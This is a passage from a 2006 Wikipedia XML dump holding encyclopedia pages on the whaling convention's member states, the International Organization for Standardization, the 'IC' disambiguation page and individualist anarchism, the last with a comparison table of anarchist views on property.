Nations signed up to the convention are [[Antigua and Barbuda]], [[Argentina]], [[Australia]], [[Austria]], [[Brazil]], [[Chile]], [[Republic of China]] (expelled and replaced with [[People's Republic of China]]), [[Costa Rica]], [[Denmark]], [[Dominica]], [[Finland]], [[France]], [[Germany]], [[Grenada]], [[Guinea]], [[India]], [[Republic of Ireland|Ireland]], [[Italy]], [[Japan]], [[Kenya]], [[South Korea]], [[Mexico]], [[Monaco]], [[Morocco]], [[Netherlands]], [[New Zealand]], [[Norway]], [[Oman]], [[Panama]], [[Peru]], [[Russia]], [[Saint Kitts and Nevis]], [[Saint Lucia]], [[Saint Vincent and the Grenadines]], [[Senegal]], [[Solomon Islands]], [[South Africa]], [[Spain]], [[Sweden]], [[Switzerland]], [[United Kingdom]] and the [[United States]].

==References==
*[http://www.iwcoffice.org/commission/convention.htm Text of the Convention at the IWC website]
*''CIA World Factbook 2003''. Available online at [http://www.cia.gov/cia/publications/factbook/]

[[de:International Convention for the Regulation of Whaling]]
[[pt:Convenção Internacional para a Regulação da Actividade Baleeira]]

[[Category:Treaties on the environment]]
[[Category:Whaling]]
[[Category:1948 in law]]</text>
    </revision>
  </page>
  <page>
    <title>International Organization for Standardization</title>
    <id>14934</id>
    <revision>
      <id>40933443</id>
      <timestamp>2006-02-23T23:39:43Z</timestamp>
      <contributor>
        <ip>86.136.108.111</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">:'''''ISO''' redirects here. For other uses, see [[Iso]].''
[[Image:Iso_logo.gif|frame|right|Logo of the International Organization for Standardization]]
The '''International Organization for Standardization''' ('''ISO''') is an international standard-setting body composed of representatives from national standards bodies. Founded on [[February 23]] [[1947]], the organization produces world-wide industrial and commercial [[standardization|standard]]s.

While the ISO defines itself as a [[non-governmental organization]], its ability to set standards which often become law through treaties or national standards makes it more powerful than most [[Non-governmental organization|NGO]]s, and in practice it acts as a consortium with strong links to governments. Participants include several major [[corporation]]s and at least one standards body from each member country.

ISO cooperates closely with the [[International Electrotechnical Commission]] (IEC), which is responsible for standardization of electrical equipment.

The organization is usually referred to simply as ISO ''(pronounced eye-so)''.
It is a common misconception that ISO stands for &quot;International Standards Organization&quot;, or something similar. ISO is not an [[acronym]]; it comes from the Greek word ''isos'', meaning &quot;equal&quot;. In [[English language|English]], the organization’s long-form name is &quot;International Organization for Standardization&quot;, while in [[French language|French]] it is called &quot;Organisation internationale de normalisation&quot;; to use an acronym would result in different acronyms in ISO’s official languages, English (IOS) and French (OIN), thus the founders of the organization chose &quot;ISO&quot; as the universal short form of its name. 

ISO standards are numbered, and have a format that contains ''&quot;ISO[/IEC] [IS] nnnnn[:yyyy]:  Title&quot;'' where ''&quot;nnnnn&quot;'' is the standard number, ''&quot;yyyy&quot;'' is the year published, and ''&quot;Title&quot;'' describes the subject.  IEC will only be included if the standard results from work of JTC1.  The date and IS will always be left off an incomplete or unpublished standard, and may (under certain circumstances) be left off the title of the published work.

Aside from standards, ISO also creates Technical Reports for documents that cannot or should not become International Standards such as references, explanations, etc.  The naming conventions for these are the same as for standards with the exception of having TR prepended in the place of IS in the standard's name.  Examples:

*ISO/IEC TR 17799:2000 Code of Practice for Information Security Management
*ISO TR 15443-1/3 Information Technology - Security Techniques - A Framework for IT Security Assurance parts 1-3

Finally, ISO will on rare occasions issue a Technical Corrigendum.  These are amendments to existing standards  because of minor technical flaws, improvements to usability or to extend applicability in a limited way.  Generally, these are issued with the expectation that the affected standard will be updated or withdrawn at its next scheduled review.

ISO documents are copyrighted and ISO charges for copies of most.  ISO does not, however, charge for most draft copies of documents in electronic format.  Although useful, care must be taken using these drafts as there is the possibility of substantial change before it becomes finalized as a standard. 
Some ISO standards are made freely available.
For examples, see 

[http://isotc.iso.org/livelink/livelink/fetch/2000/2489/Ittf_Home/PubliclyAvailableStandards.htm Freely Available Standards] and [http://webstore.ansi.org/ansidocstore/free_standards.asp Free Standards2]

During the 1990s, ISO gained a reputation for being slow, bureaucratic, congested, and insensitive to feedback from both vendors and their customers. One problematic project was the enormous [[Open Systems Interconnect]] project, which attempted the development of one single computer networking standard, but was finally shut down in 1996 after becoming mired in interoperability problems and bickering between vendors. Attention then turned to the volunteer-based, open-process and non-profit [[Internet Engineering Task Force]] (IETF), which develops the standards necessary for the [[Internet]] to function.  When IETF turned out to be too slow, vendors began funding more focused, agile consortia like the [[W3C]], another open, non-profit organisation headed by the inventor of the World Wide Web, [[Tim Berners-Lee]].  Since then, ISO has undertaken modest reforms to decrease the time required to promulgate new standards.

ISO International Standards are not in any way binding on either governments or industry merely by virtue of being International Standards.  This is to allow for situations where certain types of standards may conflict with social, cultural or legislative expectations and requirements.  This also reflects the fact that national and international experts responsible for creating these standards do not always agree and not all proposals become standards by unanimous vote. The individual nations and their standards bodies remain the final arbiters.

The fact that many of the ISO-created standards are ubiquitous has led, on occasion, to common usage of &quot;ISO&quot; to describe the actual product that conforms to a standard.  Some examples of this are:

*[[CD image]]s end in the [[file extension]] &quot;[[ISO image|ISO]]&quot; to signify that they are using the [[ISO 9660]] standard filesystem (there are other file systems that can be used) - hence CD images are commonly referred to as &quot;ISOs&quot;. Virtually all computers with [[CD-ROM]] drives can read CDs that use this standard. DVD-ROMs also use ISO 9660 filesystems.
*Photographic film sensitivity to light, its speed, is measured and determined by ISO standard, hence the [[film speed]] is often referred to as its &quot;ISO number&quot;.  There are equivalent standards giving us its [[American National Standards Institute|ASA]] and [[DIN]].

==ISO/IEC Joint Technical Committee 1==
To deal with the consequences of substantial overlap in areas of standardization and work related to information technology,  ISO and [[International Electrotechnical Commission|IEC]] formed a Joint Technical Committee known as the ISO/IEC JTC1.  It was the first such committee, and to date remains the only one.  Its official mandate is:

Develop, maintain, promote and facilitate IT standards required by global markets meeting business and user requirements concerning:

*design and development of IT systems and tools,
*performance and quality of IT products and systems
*security of IT systems and information
*portability of application programs
*interoperability of IT products and systems
*unified tools and environments
*harmonized IT vocabulary
*user friendly and ergonomically designed user interfaces

There are currently 18 sub-committees:

*SC 02 - Coded Character Sets
*SC 06 - Telecommunications and Information Exchange Between Systems
*SC 07 - Software and System Engineering
*SC 17 - Cards and Personal Identification
*SC 22 - Programming Languages, their Environments and Systems Software Interfaces
*SC 23 - Removable Digital Storage Media Utilizing Optical and/or Magnetic Recording * Technology for Digital
*SC 24 - Computer Graphics and Image Processing
*SC 25 - Interconnection of Information Technology Equipment
*SC 27 - IT Security Techniques
*SC 28 - Office Equipment
*SC 29 - Coding of Audio, Picture, and Multimedia and Hypermedia Information
*SC 31 - Automatic Identification and Data Capture Techniques
*SC 32 - Data Management and Interchange
*SC 34 - Document Description and Processing Languages
*SC 35 - User Interfaces
*SC 36 - Information Technology for Learning, Education, and Training
*SC 37 - Biometrics

Membership in ISO/IEC JTC1 is restricted in much the same way as membership in either of the two parent organizations.  A member can be either participating (p) or observing (O) and the difference is mainly the ability to vote on proposed standards and other product.  There is no requirement for any member body to maintain either (or any) status on all of the sub-committees.  Although rare, sub-committees can be created to deal with new situations (SC 37 was approved only in the last year) or disbanded if the area of work is no longer relevant.

==See also== 
*[[List of ISO standards]]
*[[:Category:ISO standards]]
*[[Standardization]]
*[[International Electrotechnical Commission|IEC]]
*[[ISO A4]]

==External links==
*[http://www.iso.org/ ISO's official website] (free access to the catalogue of standards only, not to the contents)
*[http://isotc.iso.org/livelink/livelink/fetch/2000/2489/Ittf_Home/PubliclyAvailableStandards.htm Publicly Available Standards] (free access to a small subset of the standards)
*[http://www.standardsglossary.com/ The ISO Standards Glossary]
*[http://www.jtc1.org/ ISO/IEC JTC1]

[[Category:non-governmental organizations]]
[[Category:Standards organizations]]
[[Category:International standards|*]]
[[Category:ISO|*]]
[[Category:1947 establishments]]

[[ar:إيزو]]
[[bg:Международна организация по стандартизация]]
[[zh-min-nan:ISO]]
[[br:ISO]]
[[cs:ISO]]
[[da:International Organization for Standardization]]
[[de:International Organization for Standardization]]
[[es:Organización Internacional para la Estandarización]]
[[eo:Internacia Organizo por Normigado]]
[[fr:Organisation internationale de normalisation]]
[[ko:국제 표준화 기구]]
[[id:ISO]]
[[it:Organizzazione Internazionale per le Standardizzazioni]]
[[he:ISO]]
[[lt:International Organization for Standardization]]
[[nl:International Organization for Standardization]]
[[ja:国際標準化機構]]
[[no:ISO]]
[[nn:ISO]]
[[pl:International Organization for Standardization]]
[[pt:International Organization for Standardization]]
[[ru:Международная организация по стандартизации]]
[[sk:Medzinárodná organizácia pre normalizáciu]]
[[sl:Mednarodna organizacija za standardizacijo]]
[[fi:ISO]]
[[sv:ISO]]
[[ta:அனைத்துலக நியமப்படுத்தல் நிறுவனம்]]
[[tt:Xalıqara Standartlaw Oyışması]]
[[vi:Tổ chức tiêu chuẩn quốc tế]]
[[tr:ISO]]
[[zh:國際標準化組織]]</text>
    </revision>
  </page>
  <page>
    <title>IC</title>
    <id>14935</id>
    <revision>
      <id>41963017</id>
      <timestamp>2006-03-02T22:32:58Z</timestamp>
      <contributor>
        <username>JimMorris</username>
        <id>256523</id>
      </contributor>
      <text xml:space="preserve">'''IC''' or '''ic''' may stand for:
* [[-ic]] [[suffix]]
* The [[IATA airline designator]] for [[Indian Airlines]]
* In [[chat]]ting terms, it stands for &quot;I See&quot;. Also see [[Internet Slang]]
* [[Identity document|Identity card]]
* [[Illinois Central Railroad]] {{reporting mark|IC}}
* [[Immediate constituent]] (IC), in [[Morphology (linguistics)|morphology]]
* [[Imperial College London]] - The famous science university is often referred to simply as 'IC'
* ''In Casu'', [[Latin]] for 'in this case'
* [[In Character]] - as opposed to OOC ([[Out of Character]]) in [[Roleplaying]]
* [[Index Catalog]]
* [[Industry Canada]]
* Institute of Computing
* [[Integrated circuit]]
* [[Intellectual capital]]
* [[Intelligence Community]]
* [[InterCity]] in railway travel
* [[InterContinental]] hotel chain, or its parent company [[InterContinental Hotels Group]]
* International Canoe in [[Canoe sailing]]
* &quot;International Coordinator&quot;, the top coordinator of the [[FidoNet]]
* [[Interstitial cystitis]], a disease
* Introductory [[Calculus]]
* [[Ithaca College]]
* [[IC codes]], [[police]] shorthand expressions
* [[iCommune]]

{{disambig}}

[[de:IC]]
[[ko:IC]]
[[it:Ic]]
[[nl:IC]]
[[ja:IC]]
[[fi:IC]]
[[sv:IC]]</text>
    </revision>
  </page>
  <page>
    <title>Individualist anarchism</title>
    <id>14936</id>
    <revision>
      <id>42047610</id>
      <timestamp>2006-03-03T12:56:34Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">{{Bias}}
{{original_research}}
{{Primarysources}}
{{Anarchism}}

'''Individualist Anarchism''' is a philosophical tradition that opposes [[collectivism]]{{ref|Spooner_Property}} and has a particularly strong emphasis on the supremacy and autonomy of the [[individualism|individual]]. The tradition appears most often in the [[United States]], most notably in regard to its advocacy of private property.{{ref|TuckerLiberty}} Individualist anarchism's roots includes Europeans such as [[William Godwin]], [[Pierre-Joseph Proudhon]], [[Emile Armand]], [[Oscar Wilde]], Han Ryner and [[Max Stirner]] (who is also connected to the [[existentialism|existentialist]] philosophy), though the individualist anarchist tradition draws heavily on American independent thinkers, including [[Josiah Warren]], [[Benjamin Tucker]], [[Lysander Spooner]], [[Ezra Heywood]], [[Stephen Pearl Andrews]], and [[Henry David Thoreau]]. The writer and poet [[John Henry Mackay]] is also considered an individualist anarchist. Contemporary individualist anarchists include [[Robert Anton Wilson]], [[Joe Peacott]], [[Daniel Burton]], [[Kevin Carson]], and [[Keith Preston]]. Individualist anarchism is sometimes seen as an evolution of [[classical liberalism]], and hence, has been called &quot;liberal anarchism&quot; [http://www.weisbord.org/conquest8.htm].

Some of the 19th century individual anarchists, such as Benjamin Tucker, referred to themselves as socialists [http://www.infoshop.org/faq/secGint.html], however &quot;the libertarian socialists such as Proudhon were not socialists in the usual sense of today, meaning state socialists, because they did believe in property rights. They were oriented toward cooperative and decentralized forms of ownership -- yet they agreed with other progressive libertarians in advocating genuinely free markets, with an end to land monopoly and other government-created monopolies...&quot; The libertarian socialists were divided into two main categories: &quot;the individualists who remained true to Proudhonian mutualism and the collectivists represented by the anarcho-communists.&quot; {{ref|Gagnon}}

== Origins ==

[[Image:WilliamGodwin.jpg|thumb|left|[[William Godwin]], a radical [[liberalism|liberal]] and [[utilitarian]]. There is a lack of consensus as to whether he was an individualist, a communist, or neither.]]

There is significant variance between the philosophies of different individualist anarchists. Almost all, following Proudhon, support individual ownership of the particular form of private property he referred to as &quot;possession&quot;. Stirner supports private property but rejects the notion of a ''right'' to property. Godwin is an [[altruist]], Stirner an [[egoist]]. Warren espouses natural law as a basis for individual liberty, while Tuckers premises it upon egoism. Tucker opposes intellectual property while Spooner advocates it. However, what these philosophers all have in common is a rejection of both capitalist economics and [[collectivist]] notions of society and a pronounced focus on individuality.

William Godwin, of England, wrote essays advocating a society without government that are considered some of the first, if not the first, anarchist treatises. As such, some consider the [[liberalism|liberal]] British writer to be the &quot;father of philosophical anarchism.&quot; There is a lack of consensus as to whether Godwin was an individualist or a communist. He is regarded by some as one of the first individualist anarchists, although his philosophy has some communist-like characteristics. He advocates an extreme form of individualism, proposing that all sorts of cooperation in labor should be eliminated; he says: &quot;everything understood by the term co-operation is in some sense an evil.&quot;  Godwin's individualism is to such a radical degree that he even opposes individuals performing together in orchestras. The only apparent exception to this opposition to cooperation is the spontaneous association that may arise when a society is threatened by violent force. One reason he opposes cooperation is he believes it to interfere with an individual's ability to be benevolent for the greater good. Godwin opposes the existence of government and expressly opposes democracy, fearing oppression of the individual by the majority (though he believes democracy to be preferable to dictatorship). Godwin supports individual ownership of property, defining it as &quot;the empire to which every man is entitled over the produce of his own industry.&quot; However, he does advocate that individuals give to each other their surplus property on the occasion that others have a need for it, without involving trade (see ''[[gift economy]]''). This was to be based on [[utilitarian]] principles; he says: &quot;Every man has a right to that, the exclusive possession of which being awarded to him, a greater sum of benefit or pleasure will result than could have arisen from its being otherwise appropriated.&quot; However, benevolence was not to be enforced but a matter of free individual &quot;private judgement.&quot; He does not advocate a community of goods or assert collective ownership as is embraced in communism, but his belief that individuals ought to share with those in need was influential on [[anarchist communism]] later. Some consider Godwin both an individualist and a communist rather than a strict individualist for this reason. [http://64.233.161.104/search?q=cache:iCK-K7dEYK4J:www.worldsocialism.org/spgb/overview/shelley.pdf] Some, such as [[Murray Rothbard]], do not regard Godwin as being in the individualist camp at all [http://www.b.150m.com/writers/rothbard/burke.html] (Some restrict &quot;individualist anarchism&quot; to the market anarchists). Others consider him an individualist anarchist without reservation. [http://www.weisbord.org/conquest8.htm] Some writers see a conflict between Godwin's advocacy of &quot;private judgement&quot; and utilitarianism, as he says that ethics requires that individuals give their surplus property to each other resulting in an egalitarian society, but, at the same time, he insists that all things be left to individual choice. [http://plato.stanford.edu/entries/godwin/] [[Communist-anarchist]] [[Peter Kropotkin]] says in the 1911 Encyclopedia Britannica that Godwin &quot;entirely rewrote later on his chapter on property and mitigated his communist views in the second edition of Political Justice.&quot; Godwin's basis in utilitarianism and ethical altruism contrasts with later individualists, such as Max Stirner and Benjamin Tucker, who ground their philosophy on [[egoism]] or [[self-interest]] (though not all are egoists). Also, Godwin's aversion to cooperation and a market economy is not typical among the individualists.

[[Image:Max_stirner.jpg|thumb|right|[[Max Stirner]] was the first of the [[egoism|egoist]] individualist anarchists. Portrait by [[Friedrich Engels]].]]
While individualists typically assert property as a right, Germany's [[Max Stirner]] that a &quot;right&quot; to property is an illusion, or &quot;ghost&quot;; property is only a matter of control --it is not based in any moral right but solely in the right of might: &quot;Whoever knows how to take, to defend, the thing, to him belongs property.&quot;. Stirner considers the world and everything in it, including other persons, available to one's taking or use without moral constraint --that rights do not exist in regard to objects at all. He sees no rationality in taking the interests of others into account unless doing so furthers one's self-interest, which he believes is the only legitimate reason for acting. His embrace of [[egoism]] is in stark contrast to Godwin's [[altruism]]. He denies society as being an actual entity, calling society a &quot;spook&quot; and that &quot;the individuals are its reality&quot; (''The Ego and Its Own'').  Whether individualist anarchism is properly justified by self-interest (egoism) or natural law has been a subject of debate among the individualists. For example, [[Lysander Spooner]] holds that there are natural property rights, but egoists such as [[Benjamin Tucker]] agree with Stirner that there are no natural property rights but hold that property can come only about by [[contract]] between individuals.

France's [[Pierre-Joseph Proudhon]] was the first philosopher to label himself an &quot;anarchist.&quot; He was particularly influential among the American individualists, mainly by way of Benjamin Tucker who had translated and studied his works. Proudhon opposes government privilege that protects banking and land interests, and any form of coercion that led to the accumulation or acquisition of property, which he believes hampers competition and keeps wealth in the hands of the few. Proudhon favors a right of individuals to retain the product of their labor as their own property, but believed that any property beyond that which an individual produced and could possess was illegitimate.  Thus, he saw private property as both essential to liberty and a road to tyranny, the former when it resulted from labor and the latter when it resulted from extortion (interest, tax, etc).  He says: &quot;Where shall we find a power capable of counter-balancing the... State? There is none other than property... The absolute right of the State is in conflict with the absolute right of the property owner. Property is the greatest revolutionary force which exists.&quot; Proudhon maintains that those who labor should retain the entirety of what they produce, and that monopolies on credit and land are the forces that prohibiting such. He advocated an economic system that included private property as possession and exchange market but without profit, which he called [[mutualism (economic theory)|mutualism]]. It is Proudhon's philosophy that was explicitly amended by [[Joseph Dejacque]] in the inception of [[anarchist-communism]], with the latter asserting directly to Proudhon in a letter that &quot;it is not the product of his or her labor that the worker has a right to, but to the satisfaction of his or her needs, whatever may be their nature.&quot;  Proudhon said that &quot;communism...is the very denial of society in its foundation...&quot; (''Philosophy of Poverty'') and was famous for declaring that &quot;property is theft&quot; in reference to the capitalist practices of his time.

After Dejacque and others split from Proudhon due to the latter's support of individual property and an exchange economy, the relationship between the individualists, who continued in relative alignment with the philosophy of Proudhon, and the anarcho-communists was characterised by various degrees of antagonism and harmony. For example, individualists like Tucker on the one hand translating and reprinted the works of collectivists like [[Mikhail Bakunin]], while on the other hand rejecting the economic aspects of collectivism and communism as incompatible with anarchist ideals.

While individualist anarchism is often seen as including William Godwin and Max Stirner, it is most often associated with the American tradition, which advocates individual ownership of the produce of labor and a [[market economy]] where this property may be bought and sold.{{fact}} However, this form of individualist anarchism is not exclusive to the Americans.{{fact}} It is also found in the philosophy of other radical individualists, such as those in England and France though almost all were influenced by the early American individualists. Individualist anarchism of this type is in contrast to some other forms of anarchism, such as [[anarcho-communism]], which holds that productive property should be in the control of the society at large in various forms of worker collectives and that the produce of labor should be collectivized.{{fact}} Both individualists anarchists and communist anarchists agree, however, in many of their critiques of most common conceptions of property. Most of the individualist anarchists in the 19th and 18th centuries adhered to a labor theory of value, and hence, saw profit as subverting natural law. However, there have been a few theorists in the 19th and 18th centurues that did not adhere to labor-value. These include [[Jakob Muavillon]], [[Julius Faucher]], [[Gustave de Molinari]], [[Auberon Herbert]], and [[Herbert Spencer]].

== The American tradition ==
{{Main article|[[American individualist anarchism]]}}

Individualist anarchism in America is noted for its strong advocacy of private property in the product of labor, and a competitive free market economy.  [[Josiah Warren]], who is the first individualist anarchist in the American tradition, had participated in a failed collectivist experiment headed by [[Robert Owen]] called &quot;[[New Harmony]]&quot; and came to the conclusion that such a system is inferior to one where individualism and private property is respected. On ''Practical Details'', he discusses his conclusions in regard to the experiment. In a much cited quotation from that text, he makes a vehement assertion of individual [[negative liberty]]: &quot;Society must be so converted as to preserve the SOVEREIGNTY OF EVERY INDIVIDUAL inviolate. That it must avoid all combinations and connections of persons and interests, and all other arrangements which will not leave every individual at all times at liberty to dispose of his or her person, and time, and property in any manner in which his or her feelings or judgment may dictate WITHOUT INVOLVING THE PERSONS OR INTERESTS OF OTHERS&quot; (Warren's capitalization). Though Warren and Proudhon did not associate with each other, working on separate continents they both came to like conclusions in regard to labor theory of value and property. However, according to Benjamin Tucker, that profiting by violating the labor theory of value is exploitative &quot;was Proudhon's position before it was Marx's, and Josiah Warren's before it was Proudhon's&quot; (Liberty or Authority).

While Warren based his philosophy on [[natural law]], [[Benjamin Tucker]] eventually switched his allegiance to [[egoism]] as a result of his reading of Max Stirner. Many individualists followed in his footsteps in this respect. Tucker maintained that there were two rights, &quot;the right of might&quot; and &quot;the right of contract&quot; and that moral rights do not exist until they are devised by contract initiated out of the self-interest of the contracting parties. However, this was a source of conflict among the individualists as many continued to assert natural law.

The individualists' economic theory (''[[mutualism (economic theory)|mutualism]]'') is based on the [[labor theory of value]]. Accepting that the value of a good is the amount of labor undertaking in producing it, they conclude that it is unethical to charge a higher price for a commodity than the cost of producing or acquiring and bringing it to market (''[[Cost the limit of price]]''). To ensure that labor receives its &quot;full produce&quot; they advocate that a commodity should be purchased with an amount of labor that is equivalent to the amount of labor undertaken in producing that commodity. As a result, equal amounts of labor would receive equal pay; those that did not labor would not be paid. In the area of employment, this would obviate the possibility of an employer profiting from the labor of an employee, which they opposed as being exploitative, since the employee must receive the &quot;full produce&quot; of his labor.  With the exception of Warren, this led to their position that private ownership of land should be supported only if the possessor of that land is using it, otherwise, the possessor would be able to charge rent to others without laboring to produce anything (Warren does not oppose ownership of land but does advocate that it be sold at cost). Profiting from lending money for interest is generally seen as usurious as an income is seen as being derived without labor. To the individualists, profit from interest, profit from wages, and rental of land is only made possible by government-backed &quot;monopoly&quot; and &quot;privilege&quot; that restricts competition in the marketplace and concentrates wealth in the hands of a few.

=== Anarcho-capitalism ===
{{main|anarcho-capitalism}}

Most pre-20th century individualist anarchists espoused the [[labor theory of value]], so they find profit to be unnatural and exploitative. Anarcho-capitalists hold a [[subjective theory of value]], and hence have no opposition to profit. Labor-value individualists and [[Murray Rothbard|Rothbardian]] anarcho-capitalists espouse a [[labor theory of property]], and therefore agree that an individual should have private property in the product of labor. However, whereas most labor-value individualists do not recognize land itself as property since it is not the product of labor, prefering instead a right to exclusive individual use, anarcho-capitalists in the [[Murray Rothbard|Rothbardian]] school do allow the creation of private property in land by &quot;mixing&quot; it with labor. In other words, for Rothbard, an individual still has title to the land if he discontinues using it. In the United States the popularity of the [[labor theory of value]] of [[classical economics]] was superceded by much greater acceptance of the [[subjective theory of value]] of [[neo-classical economics]]. This [[marginalism|marginalist]] revolution influenced the thoughts of some radical individualists. Eventually, in the 20th century, [[Murray Rothbard]] coined the term ''[[anarcho-capitalism]]''. Most anarchists do not accept anarcho-capitalism as a &quot;true&quot; form of anarchist thought, as [[anarchism]] as been traditionally opposed to [[capitalism]]. See also [[American individualist anarchism and anarcho-capitalism]].

== Comparison of property systems ==
:''Note: Not all philosophers, in the various camps agree on everything; for that reason, it is not necessarily true that this table is representative of all anarcho-communists, individualist anarchists, or anarcho-capitalists (see the [[Talk:Individualist anarchism|talk page]] for more information).''

{| border=&quot;3&quot; cellspacing=&quot;1&quot; cellpadding=&quot;12&quot; style=&quot;margin-left:auto;margin-right:auto;background:#FFF;text-align:center;border-outset:1px;&quot;
|width=&quot;200&quot;|'''Philosophies'''
|width=&quot;140&quot;|Anarcho-communism
|width=&quot;140&quot;|Individualist Anarchism (labor-value)
|width=&quot;140&quot;|Anarcho-capitalism
|-
|style=&quot;text-align:left;&quot;|Does the '''community own''' the land and other natural resources?
|Yes
|No
|No
|-
|style=&quot;text-align:left;&quot;|Is '''land''' legitimate transferrable private property?
|No
|No (some say yes)
|Yes
|-
|style=&quot;text-align:left;&quot;|Is the '''product of labour''' legitimate private property?
|No
|Yes
|Yes
|-
|style=&quot;text-align:left;&quot;|Are privately-owned '''capital goods''' permissible?
|No
|Yes
|Yes
|-
|style=&quot;text-align:left;&quot;|Is '''profit''' from labor, land and loans exploitative?
|Yes; such profits should be confiscated.
|Yes; but should not be prohibited.
|No
|}

'''(NRxCO)''' &quot;The land, and all natural resources, are the common property of everyone, but will be used only by those who cultivate it by their own labor. Without expropriation, only through the powerful pressure of the worker’s associations, capital and the tools of production will fall to those who produce wealth by their own labor.&quot; - Michael Bakunin, ''Revolutionary Catechism''.

'''(NRxCO)''' &quot;The only way, in which ['the wealth of nature'] can be made useful to mankind, is by their taking possession of it individually, and thus making it private property.&quot; - Lysander Spooner, ''Law of Intellectual Property''. &quot;That there is an entity known as the community which is the rightful owner of all land anarchists deny. I...maintain that the community is a non-entity, that it has no existence, and is simply a combination of individuals having no prerogative beyond those of the individuals themselves.&quot; -Benjamin Tucker, ''Liberty''

'''(NRxCO)''' &quot;The only 'natural' course for man to survive and to attain wealth, therefore, is by using his mind and energy to engage in the production-and-exchange process. He does this, first, by finding natural resources, and then by transforming them (by 'mixing his labor' with them, as Locke puts it), to make them his individual property, and then by exchanging this property for the similarly obtained property of others.&quot; Murray Rothbard, ''The Anatomy of the State''.

'''(LdxCol)'''  see (NRxCol) above.

'''(LdxInd)''' Though, most labor-value individualists oppose buying and selling of land itself, they maintain that an individual should be allowed exclusive of use of land against any claims of the community. &quot;Anarchism holds that land belongs not to the people but the occupant and user...&quot; - Benjamin Tucker ''Liberty X May 19 1894''. But Warren, Andrews, and Greene supported an individual holding transferable title to land itself; for example, &quot;the prime cost of land, the taxes, and other contingent expenses of surveying, etc., added to the labor of making contracts, would constitute the equitable price of land purchased for sale.&quot; -Josiah Warren, ''Equitable Commerce'' 

'''(LdxAC)''' &quot;If Columbus lands on a new continent, is it legitimate for him to proclaim all the new continent his own, or even that sector 'as far as his eye can see'? Clearly, this would not be the case in the free society that we are postulating. Columbus or Crusoe would have to use the land, to 'cultivate' it in some way, before he could be asserted to own it.... If there is more land than can be used by a limited labor supply, then the unused land must simply remain unowned until a first user arrives on the scene. Any attempt to claim a new resource that someone does not use would have to be considered invasive of the property right of whoever the first user will turn out to be. There is no requirement, however, that land ''continue'' to be used in order for it to continue to be a man’s property.&quot; -Murray Rothbard, ''Man, Economy, and State''

'''(PoLxCol)''' &quot;It is not the product of his or her labor that the worker has a right to, but to the satisfaction of his or her needs, whatever may be their nature.&quot; -Joseph Dejacque, ''Letter to Proudhon'' &quot;If we preserved the individual appropriation of the products of labour, we would be forced to preserve money, leaving more or less accumulation of wealth according to more or less merit rather than need of individuals.&quot; -Carlo Cafiero, ''Anarchism and Communism'' &quot;In other words, labour and its products must be exchanged without price, without profit, freely, according to necessity. This logically leads to ownership in common and to joint use. Which is a sensible, just, and equitable system, and is known as Communism.&quot; -Alexander Berkman, ''ABC of Anarchism''

'''(PoLxInd)''' &quot;One of the tests of any reform movement with regard to personal liberty is this: Will the movement prohibit or abolish private property? If it does, it is an enemy of liberty. For one of the most important criteria of freedom is the right to private property in the products of ones labor. State Socialists, Communists, Syndicalists and Communist-Anarchists deny private property.&quot; -Clarence Swartz, ''What is Mutualism''  &quot;...the principle of individual property... says that each man has an absolute dominion, as against all other men, over the products and acquisitions of his own labor.&quot; -Lysander Spooner, ''The Law of Intellectual Property''

'''(PoLxAC)''' The labor theory of value is erroneous. Profit is not exploitative and contract is supreme. &quot;The capitalist, then, is a man who has labored, saved out of his labor (i.e., has restricted his consumption) and, in a series of voluntary contracts has (a) purchased ownership rights in capital goods, and (b) paid the laborers for their labor services in transforming those capital goods into goods nearer the final stage of being consumed. Note again that no one is preventing the laborers themselves from saving, purchasing capital goods from their owners and then working on their own capital goods, finally selling the product and reaping the profits. In fact, the capitalists are conferring a great benefit on these laborers, making possible the entire complex vertical network of exchanges in the modern economy.&quot; - Murray Rothbard, ''The Ethics of Liberty''.

'''(CGxCol)''' The means of production are owned by the community in collective. &quot;The revolution as we understand it will have to destroy the State and all the institutions of the State, radically and completely, from its very first day. The natural and necessary consequences of such destruction will be: ... f. the confiscation of all productive capital and of the tools of production for the benefit of workers’ associations, who will have to have them produced collectively.&quot; - Bakunin, ''The Program of the International Brotherhood''.

'''(CGxInd)''' All products of labor are the property of the individual, regardless of in the form of capital or not.&quot;Proudhon scoffed at this distinction between capital and product. He maintained that capital and product are not different kinds of wealth, but simply alternate conditions or functions of the same wealth. ...  For these and other reasons Proudhon and Warren found themselves unable to sanction any such plan as the seizure of capital by society.&quot; - Benjamin Tucker, ''State Socialism and Anarchism''.

'''(CGxAC)''' &quot;Production begins with natural resources, and then various forms of machines and capital goods, until finally, goods are sold to the consumer. At each stage of production from natural resource to consumer good, money is voluntarily exchanged for capital goods, labor services, and land resources. At each step of the way, terms of exchanges, or prices, are determined by the voluntary interactions of suppliers and demanders. This market is &quot;free&quot; because choices, at each step, are made freely and voluntarily.&quot; - Rothbard, ''[http://www.econlib.org/library/Enc/FreeMarket.html Free Market]''.

'''(LrxCol)''' Will you stand up for that piece of chicanery which consists in affirming 'freedom of contract'? Or will you uphold equity, according to which a contract entered into between a man who has dined well and the man who sells his labor for bare subsistence, between the strong and the weak, is not a contract at all?&quot; -Peter Kropotkin, ''An Appeal to the Young''

'''(LrxInd)''' It is considered exploitative to pay an individual for less than the &quot;full produce&quot; of his labor. - &quot;The price is not sufficient: the labor of the workers has created a value; now this value is their property. But they have neither sold nor exchanged it; and you, capitalist, you have not earned it. That you should have a partial right to the whole, in return for the materials that you have furnished and the provisions that you have supplied, is perfectly just. You contributed to the production, you ought to share in the enjoyment. But your right does not annihilate that of the laborers, who, in spite of you, have been your colleagues in the work of production. Why do you talk of wages? The money with which you pay the wages of the laborers remunerates them for only a few years of the perpetual possession which they have abandoned to you. Wages is the cost of the daily maintenance and refreshment of the laborer. You are wrong in calling it the price of a sale. The workingman has sold nothing; he knows neither his right, nor the extent of the concession which he has made to you, nor the meaning of the contract which you pretend to have made with him. On his side, utter ignorance; on yours, error and surprise, not to say deceit and fraud.&quot; - [[Pierre-Joseph Proudhon]] &quot;In defending the right to take usury, we do not defend the right [ethicality] of usury&quot; -Benjamin Tucker, ''Liberty I,3'' Note- Tucker used the term &quot;usury&quot; to mean profit --both from capital and labor.

'''(LrxAC)''' see (PoLxAC) above.

==References==
&lt;!-- How to add a footnote: 
